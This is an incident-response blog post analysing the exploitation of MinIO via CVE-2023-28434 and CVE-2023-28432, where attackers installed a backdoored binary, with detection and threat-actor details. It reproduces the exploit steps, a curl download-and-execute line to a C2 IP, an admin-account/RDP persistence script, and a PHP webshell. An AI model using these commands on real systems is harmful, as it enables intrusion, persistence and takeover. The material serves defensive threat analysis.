New Attack Vector In The Cloud: Attackers caught exploiting Object Storage Services

Security Joes Incident Response team recently became aware of a set of relatively new CVEs that were released at the end of March 2023. Surprisingly, these vulnerabilities have received little to no media coverage regarding their ease of exploitation and the potential security implications they pose to any cluster running a non-native object storage.

Object Storage is a data storage architecture for storing unstructured data, which sections data into units—objects—and stores them in a structurally flat data environment. Modern organizations create and analyze large volumes of unstructured data such as photos, videos, email, web pages, sensor data, and audio files. The major players providing such services are: AWS, Google Cloud, and Microsoft Azure. They use Object Storage as their primary storage such as AWS S3, Google Cloud Storage and Azure Blob Storage. However leading the market, other solutions exist and they are being highly in use.

Upon investigating, we found that the specific exploit chain we stumbled into was not observed in the wild before, or at least documented, making this the first instance of evidence showcasing such non-native solutions are being adopted by attackers. It was surprising to discover that these products could have such relatively easy to exploit new set of critical vulnerabilities, making it an enticing attack vector that can be found by threat actors via online search engines. Moreover, the immediate impact associated with this specific attack, compared to traditional Webshells, raises even greater concerns.

The chain of vulnerabilities observed by our team during an attack we’ve investigated presents a worrisome situation where attackers can potentially gain the ability to remotely execute code and take full control over systems running vulnerable versions of the high-performance and distributed object storage system called MinIO. This product is part of a larger set of “non-yet-existing” set of attack vectors referred to as Non-native Object Storage Services.

In our effort to enhance the security landscape and provide awareness to the infosec community, in this blogpost we provide detailed information about the threat actors responsible for exploiting these vulnerabilities, including their Tactics, Techniques, and Procedures (TTPs), Indicators of Compromise (IOCs), and characteristics of the Command and Control (C2) servers used during the attacks. We strongly encourage security teams to incorporate this valuable information into their security products and attack monitoring systems, as it can aid in proactively defending against such threats.

The article in nutshell:

[1] Attackers convinced a victim DevOps engineer to update a Non-native Object Storage Service (MinIO) to a vulnerable version.
[2] Custom made automations by Security Joes MDR team prevented the execution of the commands and thereafter escalated to our IR team.
[3] Security Joes IR, along with members of our Red Team, investigated the MinIO instance and its binary and determined it is weaponized with a built-in command shell function called GetOutputDirectly()
[4] Further research of the findings led to a GitHub repository where a vulnerability researcher is describing a chain of exploits and how to use them to exploit MinIO. The user referred to it as Evil_MinIO
[5] The Evil_MinIO is utilizing CVE-2023-28434 and CVE-2023-28432
[6] A deep analysis into the C2 server and exploit chain reveals threat actor characteristics and victimology

Security Joes is a multi-layered incident response company strategically located in nine different time-zones worldwide, providing a follow-the-sun MDR & IR coverage to respond to any incident remotely. Security Joes’ clients are protected against this threat and other related to evil Non-native evil Object Storage Services.

Contact us at response@securityjoes.com for more information about our services and technologies and get additional recommendations to protect yourself against this kind of attack vector.

In the present landscape, terms like DevOps and DevSecOps have gained substantial traction within the technology community. These concepts furnish comprehensive frameworks that not only amplify the efficiency of development teams across the software lifecycle but also accentuate the paramount importance of security.

DevOps, a fusion of “Development” and “Operations,” encapsulates both a cultural shift and a technical evolution. It fosters synergistic collaboration between software developers and IT operations, with the overarching aim of streamlining the software development pipeline, expediting release cycles, and fortifying overall reliability. This objective materializes through practices like continuous integration, continuous delivery, and the pervasive adoption of infrastructure-as-code principles.

In the context of software development, the decision-making landscape is riddled with variables that can substantially influence the final product. As a result, analyzing these choices assumes paramount importance. It’s evident that companies relying on software for their operations often prioritize expediency in accomplishing tasks, irrespective of the methods employed or the associated risks. Monetary considerations and time constraints typically steer the course of software development. In many cases, this dynamic can lead to the acceptance of long-term risks as an attempt to mitigate short-term costs.

Failing to explicitly recognize the paramount importance of security across the entirety of the software development lifecycle constitutes a critical oversight. Such negligence can potentially expose an organization to substantial risks. While these risks might not be immediate, they lurk in the shadows, awaiting the right opportunity for exploitation.

By highlighting how attackers exploit such vulnerabilities, this blogpost underscores the vital importance of aligning Managed Detection and Response (MDR) with DevOps to ensure the ongoing resilience of an organization’s infrastructure.

“What makes this incident particularly interesting is the use of a set of CVEs that were only minimally and subtly disclosed, despite their substantial impact.”, said Security Joes Threat Research Lead, Felipe Duarte.

The cost savings associated with employing MinIO, an open-source and high-performance object storage server, might be perceived as advantageous during the software development cycle. However, a lack of DevOps education and involvement in the importance of security created an avenue for attackers to gain unauthorized access. Notably, the exploitation of this open-source Object Storage Solution follows a distinct pattern that merits scrutiny and awareness.

“It’s important to clarify that our intention is not to imply that open-source solutions (or even non-native) are inherently less trustworthy or inferior compared to equivalent solutions. Rather, the emphasis lies in understanding and managing the associated risks. The low cost of open-source solutions is often counterbalanced by potential security implications, which makes even more relevant to follow clear and strong DevSecOps principles in your development pipeline.”, said CEO and seasoned researcher, Ido Naor.

This referred-to incident holds exceptional significance and calls for a comprehensive exploration. To provide a tangible illustration, let’s delve into the particulars of the incident that came under our team’s scrutiny. This incident centers on the exploitation of MinIO, an Object Storage Solution, resulting in unauthorized access to the cluster and the subsequent execution of unauthorized code.

As previously mentioned, MinIO is an open-source, high-performance Object Storage Service meticulously crafted to align seamlessly with the Amazon S3 API. Its versatility makes it a favored choice for serving as a cost-effective storage solution across various domains, including cloud-native applications, data lakes, and backup/archiving systems. This adaptability is complemented by its accessibility through both its RESTful API and the AWS Command Line Interface (CLI), granting users the ability to interact programmatically with the storage system.

Upon launching the MinIO application, it unveils a RESTful API and a user interface, providing administrators with an array of controls for monitoring and operational management. These encompass the complete spectrum of capabilities required to effectively administer the application and its associated resources.

However, during the course of the investigation, a notable discovery was made by our team. Contrary to its intended purpose as an object storage server, the MinIO application was observed executing a series of Bash commands and making attempts to download Python scripts from external online sources. This anomalous behaviour immediately sparked suspicion, hinting at a potential exploitation of the web server component, which could potentially pave the way for the execution of unauthorized code on the host.

Built using the Go programming language and compiled specifically for Linux systems, MinIO finds its usual installation directory at “/usr/local/bin/minio”. Upon execution, it operates as an independent and self-contained application that exposes a RESTful API and a user interface directly on the host. As illustrated in the figure below.

While the application found during the incident appeared to be a standard MinIO executable to the user, a deeper analysis of its code revealed the presence of malicious logic that has been added to it. Particularly, the extra code in this specific binary, exposes an endpoint that receives and executes commands via HTTP requests.

This endpoint functions as a built-in backdoor, granting unauthorized individuals the ability to execute commands on the host running the application. Notably, the executed commands inherit the system permissions of the user who initiated the application. In this instance, due to inadequate security practices, the DevOps engineer launching the application held root-level permissions.

Looking for external references of this behavior, we discovered that this exact code is available on GitHub under a repository named evil_minio.

According to the repository’s maintainer, this modified version of the original source code does not impact the normal functions of the tool. Instead, it provides a global backdoor that can be accessed by appending the URL parameter “alive” to the MinIO application’s URL. For example:

http://vulnerable.minio.server/?alive=[CMD_TO_EXECUTE]
http://vulnerable.minio.server/anything?alive=[CMD_TO_EXECUTE]

Based on the analysis we’ve conducted, the threat actor in this case was not required to utilize special frameworks to execute the attack. Instead, the very detailed GitHub repository “evil_minio”, describes about and provides a backdoored version of MinIO, ready to be a replacement for the legitimate one. The description of the attack is detailed in a step-by-step PDF written by the author of the Git repo, allowing anyone to inspect the inner working of the exploitation chain and follow it as a guide for taking over a vulnerable MinIO instance.

To be specific, this GitHub repository contains a modified version of the MinIO source code. It’s called “evil” because it has been altered to include a backdoor that allows for unauthorized remote code execution (RCE). The actual mechanism used by the attacker to replace the original MinIO executable with this “evil” version is achieved by exploiting two vulnerabilities, CVE-2023-28434 and CVE-2023-28432. These vulnerabilities impact all MinIO versions that precede RELEASE.2023-03-20T20-16-18Z.

Here’s a breakdown of the changes made to the original MinIO code to create this “evil” twin:

1. Addition of cmd/x.go: This file contains a function getOutputDirectly(cmdStr string) that executes system commands. This is the core of the backdoor, as it allows arbitrary command execution.

2. Modification of cmd/routers.go: A line has been added to this file to include xHandler in the list of handlers. This means that the xHandler function will be called for certain HTTP requests.

3. Modification of cmd/generic-handlers.go: The xHandler function has been added to this file. This function checks for the presence of a query parameter named “alive” in the HTTP request. If this parameter is present, its value is passed to the getOutputDirectly function, allowing the execution of arbitrary commands.

In our malware analysis lab, we conducted several tests and analysis on the MinIO executable extracted from the infected host. As a result, we were able to replicate the backdoor functionality described earlier. In the example shown in Figure 4, the command ifconfig was passed through the parameter alive, and the response containing the result of the command execution was returned. This demonstrates the ability of unauthorized users to execute arbitrary commands on the compromised host through the backdoor functionality present in the modified MinIO application.

It is worth mention that we have no reasons to believe that the author is the one behind the attack nor we have any links between the author and the attackers. We can say that the repo “evil_minio” was created during the time of the exploits being released, meaning that both the exploits and PoC guide are fairly new.

As indicated in the preceding section, the “evil” version of MinIO is introduced onto the targeted systems through the exploitation of two distinct vulnerabilities: CVE-2023-28434 and CVE-2023-28432.

As stated earlier in the blog, these vulnerabilities impact all MinIO versions that precede RELEASE.2023-03-20T20-16-18Z. They possess the potential to expose sensitive information present within the compromised installation and facilitate Remote Code Execution (RCE) on the host where the MinIO application is operational.

The exploitation process begins with a crafted request targeting the endpoint “/minio/bootstrap/v1/verify”, which allows the attacker to obtain the values of the environment variables used by the application, see Figure 5. This becomes particularly significant because MinIO relies on environment variables to configure the administrator credentials, escalating the severity of the vulnerability. In other words, with a single request, an attacker can retrieve the admin credentials of a vulnerable instance.

Upon successfully uncovering the admin credentials, the malicious actor gains the ability to establish a connection and engage with the compromised instance through the MinIO Client. This tool, accessible for download from the official website, serves as the conduit for interaction. With a foothold within the compromised instance, the attacker proceeds to exploit the admin update command. This particular command empowers the attacker to designate an alternative URL for updates, veering away from the official site.

In standard circumstances, this command functions as a legitimate and streamlined approach for upgrading a MinIO installation. However, the attacker capitalizes on this utility by specifying an alternative MIRROR_URL for the update. By doing so, the attacker can effectively replace the authentic binary with its malicious counterpart, hosted on a remote server under the attacker’s control.

The culmination of these actions permits the attacker to orchestrate a deceptive update. By replacing the authentic MinIO binary with its “evil” counterpart, the attacker seals the compromise of the system. This strategic maneuver leverages the inherent trust within the update process to introduce the compromised binary.

All the steps required to achieve code execution in a vulnerable MinIO instance are described below:

1. POST request to endpoint /minio/bootstrap/v1/verify to expose the credentials of the admin account.

2. Attacker configures a MinIO client to interact with the vulnerable instance using the credentials gotten in Step 1. For this, the following command lines are required:

mc alias set [ALIAS] [URL_TARGET_MINIO] [ACCESS_KEY] [SECRET_KEY]
mc alias list

3. Attackers trigger the update process on the compromised MinIO instance, pointing to a malicious payload hosted on a remote server. For this, the following command is executed.

mc admin update [ALIAS] [MIRROR_URL] --yes

4. “Evil” MinIO is installed, now containing a global backdoor that allows the attacker to execute commands on the host.

Webshells are malicious scripts or programs that provide unauthorized access to and control over compromised web servers. They can be written in various languages, including scripting languages like PHP, Perl, ASP, and Python, as well as programming languages such as Java and Ruby. These scripts or programs allow attackers to establish a somewhat hidden and persistent channel, enabling them to operate covertly. Acting as a command-line interface within a web environment, webshells let attackers execute arbitrary commands and perform a wide range of actions on the compromised server.

These scripts vary significantly in complexity, ranging from tiny command interpreters that receive the malicious payload as a string via HTTP requests and execute its code using functions like “eval” (e.g., China Chopper Webshell) to sophisticated software with advanced functionalities, including fancy graphical user interfaces (GUI) like the example provided below.

However, the operation of the backdoor in the context of MinIO exploitation diverges significantly from this conventional pattern. Typically, when a backdoor infiltrates a web server, it often leaves behind telltale signs – suspicious files lurking within the server’s file system. These additional files are often introduced through the exploitation of vulnerabilities within the website. Subsequently, the software responsible for executing the web server’s code loads and interprets these files, effectively initiating the execution of malicious code. The presence of these files on the disk serves as a red flag for site administrators and defenders, acting as an indicator of potential exploitation of the site.

In the MinIO scenario, the dynamics play out differently. No traces of these conventional suspicious scripts are strewn across the disk. However, beneath the surface, an embedded backdoor lies in wait. Identifying this backdoor mandates vigilant scrutiny of the web server’s behavior and a comprehensive endeavor in reverse engineering the application.

The intricate nature of this threat renders traditional signature-based detectors inadequate in capturing its presence, as demonstrated in Figure 7. Remarkably, even a month after its initial report, the file continues to exhibit zero detections through traditional signature-based detection mechanisms.

The Threat Actor involved in the active exploitation of this particular set of vulnerabilities possesses a unique profile. Our investigation has revealed that this actor demonstrates a significant degree of experience and expertise in working with bash scripts and the Python programming language. These expertise extends to both client and server-side applications.

In the subsequent sections, we will provide an in-depth exploration of the tools and network infrastructure employed by this Threat Actor. This detailed exploration aims to equip the reader with a comprehensive understanding of the actor’s tactics, allowing for informed insights into detection and mitigation strategies.

Upon successfully compromising the MinIO installation and securing remote code execution via the embedded backdoor within the “Evil” MinIO binary, the attacker proceeds with post-compromise activities. This phase commences with the download of the primary payload. An illustrative command employed during this stage for Linux systems is presented below:

curl 5.183.95.88/host/[HOST_ID] -o /tmp/h
sh /tmp/h &

These commands download and executed the initial Downloader script in the compromised machine. Depending on the operating system, this script could be either a bash or batch script. Regardless of the operating system, the Downloader script’s functionality remains consistent. It initiates a connection with the C2 server and recurrently fetches, executes supplementary scripts and post the results to the malicious server, see Figure 8 and Figure 9. This code operates in an iterative manner, serving as a gateway for introducing additional payloads onto the compromised hosts.

Notably, the code in this stage is not obfuscated, making it relatively easy to understand and analyze.

In the context of Linux systems, this malicious script relies on the standard utilities curl and wget to download the additional content, selecting the one that is available on the compromised host. On the other hand, for Windows systems, the script makes use of an open-source downloading tool called winhttpjs.bat. In instances where this tool is not available, the script resorts to utilizing the Windows utility bitsadmin. This adaptive approach ensures that the script can effectively operate across both Linux and Windows environments, leveraging available tools to fulfill its downloading requirements.

An important aspect to highlight is that all the scripts downloaded by this tool are uniquely identified by a parameter referred to as SCRIPT_ID. The outcome of these scripts plays a crucial role in the decision-making process of the threat actor’s backend.

Depending on the results obtained from these scripts, the backend determines the value of the compromised machine. Subsequently, the backend determines whether to proceed by deploying additional scripts or to halt execution altogether. This dynamic approach underscores the threat actor’s strategic approach in optimizing their efforts based on the perceived value of the compromised system.

Considerable effort is invested by the threat actor in systematically collecting information from the compromised system and its immediate environment. Following this footprint, the initial action taken by the threat actor post-compromise involves gathering comprehensive data from the host. This data encompasses a wide range of information, including user details, available memory, installed cronjobs, disk usage, and more, see Figure 10.

Subsequently, this data is transmitted to the Command and Control (C2) infrastructure, where the compromised system undergoes registration and validation. This validation process serves as a trigger, prompting the deployment and execution of additional scripts on the compromised machine. The orchestrated sequence ensures that the threat actor has a clear understanding of the compromised system’s attributes and status.

Subsequent to acquiring the victim’s system profile, the threat actor initiates the deployment of a new script. This script conducts network reconnaissance activities, aimed at identifying accessible interfaces, hosts and ports. The scanning process involves the utilization of either portable scanning tools or Python-based scripts, as depicted in Figure 11.

The logic of this network scanner is straightforward. First, the script checks if a compatible Python interpreter is present on the compromised host. If a compatible version of Python is found, it proceeds to download a Python script named scan.py and executes the scanning logic from there.

If no compatible Python interpreter is detected on the system, the script downloads a standalone Linux binary called scan_linux. This binary is a compiled executable of the Python script that includes all the necessary libraries to run the scanning logic.

In addition to the network scanning capabilities, it also extracts network interfaces from the compromised machine. The script follows a similar logic to the network scanning process. If a compatible Python interpreter is present on the compromised host, the script downloads and executes a Python script named networks.py to extract the network interfaces.

In cases where no compatible Python interpreter is available, the script downloads a standalone Python compiled binary named networks_linux specifically designed for Linux systems. This approach allows the attacker to gather information about the network interfaces present on the compromised machine in different environments without the need for a preconfigured Python environment.

Notably, this network reconnaissance script contains a hardcoded commend in Russian language that says “# не на linux маска в hex формате”, which means “not on linux mask in hex format”. This comment can shed some light about the origin of the threat actor.

In addition to the toolkit previously outlined, our analysis of the network infrastructure unveiled a series of supplementary files, each meticulously designed to fulfill distinct roles within the intrusion process. The subsequent section offers an exhaustive examination of these tools, providing comprehensive insights into their individual functionalities and roles within the broader intrusion strategy.

As highlighted by MITRE, threat actors often establish accounts as a means to sustain access to victim systems. This strategic maneuver enables adversaries to establish secondary, credentialed access that sidesteps the need to deploy persistent remote access tools onto the compromised system.

In alignment with this technique, our investigation has brought to light two distinct versions of a Windows script named “adduser.bat” hosted on the c2 server. Our analysis reveals that these scripts are designed to create user accounts on the compromised system. Notably, the usernames created differ between the two script versions – “support” and “servicemanager” respectively. However, it’s important to highlight that the password used for these newly created accounts remains consistent: “QWEqwe123!!!”.

In essence, the script initiates the creation of a new user account, subsequently integrating this account into both the “Remote Desktop Users” and “Administrators” groups. The script then proceeds to modify the Windows Registry to enable Remote Desktop connections, and simultaneously establishes a Windows Firewall rule to facilitate the necessary traffic for Remote Desktop connections. As shown in the code below:

net user support QWEqwe123!!! /add
net localgroup "Remote Desktop Users" support /add
net localgroup "Administrators" support /add
reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow

Another tool that surfaced during our analysis is a Python script which leverages asynchronous programming through asyncio Python module. This script is designed to facilitate asynchronous ping functionality, accomplished by dispatching ICMP (Internet Control Message Protocol) echo requests to a designated host address. The primary purpose of this operation is to gauge the round-trip times (RTTs) and ascertain the accessibility of the target host.

In the hands of the attacker, this script serves as a valuable resource for comprehending the layout of the compromised network. Its usage extends to identifying accessible assets within the network, potentially paving the way for lateral movement within the compromised environment.

Lastly, but certainly not to be overlooked, is the identification of a one-line webshell adhering to the China Chopper style. While the backdoor used by the threat actor during the intrusion leverages the exploitation of MinIO and does not necessitate an external PHP script for its execution, it’s imperative to underscore the range of tools at the disposal of the threat actor. These tools can potentially be employed to compromise additional environments that may not necessarily have any direct link to MinIO. This observation accentuates the threat actor’s versatility and emphasizes the need for a comprehensive security posture that remains vigilant against various vectors of attack.

<?php echo shell_exec($_GET["run"]) ?>

The threat actor had chosen C2 server with a number of open ports listed in the table above. Each is being used for different type of administrative actions. The most interesting channels our team interacted with were 80 and 443 to download various tools through means of fuzzing directories and files, however port 10007 wasn’t of a common C2 administrative interfaces we usually see hence it caught our attention as well.

Werkzeug is a utility library for the Python programming language that provides essential tools for building web applications. It is commonly used as a foundational component in various web frameworks, including Flask, one of the most popular and lightweight web frameworks in Python.

Werkzeug has an interactive console which we found during the assessment. The console was found to be locked with PIN.

Our Red Team highlighted a few articles showcasing a possible access. Looking into them we were able to find several Werkzeug vulnerabilities, in particular around the PIN authentication. This writeup, for example, is referring to a PoC of Path Traversal to achieve code execution. A 2 years old reference for the PIN exploit, including a Python code PoC, can also be found here.

One might also refer to the Werkzeug code repo to find vulnerabilities that may assist them in getting access into the C2 server.

Note: It’s important to stress that Security Joes does not practice offensive of C2 servers and are delicately collecting information from open-sources. We urge to use the information above with caution!

You can get the complete list of indicators in the following link.

The following is the list of TTPs according to MITRE:

rule Lin_Go_Evil_Minio {
	meta:
		author = "Felipe Duarte, Security Joes"
		description = "Detects EvilMinIO Backdoor"
sha256_reference = "42AAACF6871108A45E1AE8EDE15BC7CDCB9CF9EDE067059524BA8D3B8928E91C"
	strings:
		$str1 = { 4? c7 44 ?? ?? 09 00 00 00 4? 8d 15 ?? ?? ?? ?? 4? 89 54 ?? ?? 4? c7 44 ?? ?? 02 00 00 00 44 0f 11 7c ?? ?? 44 0f 11 7c ?? ?? 4? 8b 54 ?? ?? 4? 8b 44 ?? ?? 4? 89 54 ?? ?? 4? 89 44 ?? ?? 4? 89 44 ?? ?? 4? 89 5c ?? ?? 4? 8b 44 ?? ?? 4? 8b 5c ?? ?? 4? 8d 4c ?? ?? b? 02 00 00 00 4? 89 fe e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 66 90 4? 85 ff 74 ?? }
		$str2 = "github.com/minio/minio/cmd/x.go"

	condition:
		all of them
}

As we were encountering only one incident and are new to this attack vector and its distribution, we’ve searches solutions like Shodan to encompass the level of global risk and found over 50,000 installations that were identified as a MinIO distribution.

Having said that, Shodan was also able to identify the versions of minio in at least 20,000 of the cases as non-vulnerable. This still leaves a large amount of instances in the fog, not including those who were not identified by Shodan. It is important to stress that like MinIO, there are other non-native Object Storage services, versions and distributions to explore.

The growing popularity of non-native object storage solutions is evident across various industry trends. Open-source platforms like MinIO have been especially appealing to a broad spectrum of users, from startups to large enterprises, thanks to the flexibility and independence they offer from specific cloud ecosystems. However, this open-source nature also poses a significant security risk when these solutions are downloaded from unofficial or compromised sources.

Simultaneously, the shift towards multi-cloud strategies among organizations further amplifies the importance of non-native storage solutions. These solutions offer the freedom to operate across different cloud providers but also broaden the potential attack surface, thereby increasing the security risks involved.

Community engagement on platforms like GitHub further corroborates the widespread adoption of these non-native solutions. A vibrant and active community often translates into better support and quicker issue resolution but can also attract increased scrutiny from malicious actors looking for vulnerabilities to exploit.

The rise in partnerships and integrations, such as those with Kubernetes, Prometheus, and Grafana, not only extends the reach and adoption of non-native object storage but also adds another layer of complexity to the security landscape. Each integration point potentially serves as an additional attack vector, increasing the stakes for ensuring robust security measures.

In summary, while non-native object storage solutions offer compelling benefits like flexibility, scalability, and freedom from vendor lock-in, they also come with an array of security challenges. These risks are magnified when such solutions are acquired from less-than-reliable sources or integrated into complex, multi-cloud environments. Therefore, a concerted effort focused on security best practices is crucial for organizations adopting these technologies.

Contact us at response@securityjoes.com for more information about our services and technologies and get additional recommendations to protect yourself against this kind of attack vector.